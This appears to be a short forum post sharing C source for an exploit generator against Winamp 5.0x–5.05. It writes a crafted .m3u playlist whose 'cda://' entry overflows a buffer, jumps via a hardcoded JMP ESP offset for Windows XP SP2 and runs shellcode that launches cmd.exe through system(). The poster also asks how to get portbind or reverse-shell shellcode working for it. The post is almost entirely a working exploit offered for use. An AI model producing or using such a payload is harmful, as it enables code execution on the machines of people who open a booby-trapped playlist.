Ovo je bio exploit za winamp koji se pojavio samo na kratko
#include <stdio.h>
#include <stdlib.h>
#define HEADER1 "#EXTM3U\n"
#define HEADER2 "#EXTINF:0,Exploit Winamp v5.0x-5.05 \n"
char shellcode[]=
"cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHH" //Padding
"\x9F\x44\xDE\x5E" //Offset del JMP ESP en olepro32.dll wXP SP2
"JJJJ"
"\x8B\xE5\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6"
"\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\xB8"
"\xC7\x93\xC2\x77" //Offset de la llamada a system() en msvcrt.dll wXP SP2
"\x50\x8D\x5D\xF8\x53\xFF\xD0\n\r";
int main(int argc, char* argv[]) {
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);
printf ("\nExploit Winamp v5.0x-5.05 por Rojodos (modif TaU)\n");
printf ("Testeado en Winamp 5.03 y winXP SP2\n\n");
printf ("Generador de m3u basado en el del primer exploit publicado el 24.11.2004\n");
printf ("en
http://www.k-otik.com/exploits/20041124.winampm3u.c.php\n\n");
if (sc == NULL) {
printf ("malloc error\n");
return -1;
}
memset(sc,'\0',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );
fp = fopen ("test2.m3u","w+");
if (!fp) {
printf (" error opening file.\n");
return -1;
}
fwrite (HEADER1, 1, strlen (HEADER1), fp);
fwrite (HEADER2, 1, strlen (HEADER2), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);
printf ("\nArchivo <test2.m3u> creado. \n\n");
return 0;
}
Nikako da napravim portbind shellcode za ovo ili reverse
winamp remote buffer overflow
Registrovani: 2 ( vjova, Ivan Dimkovic )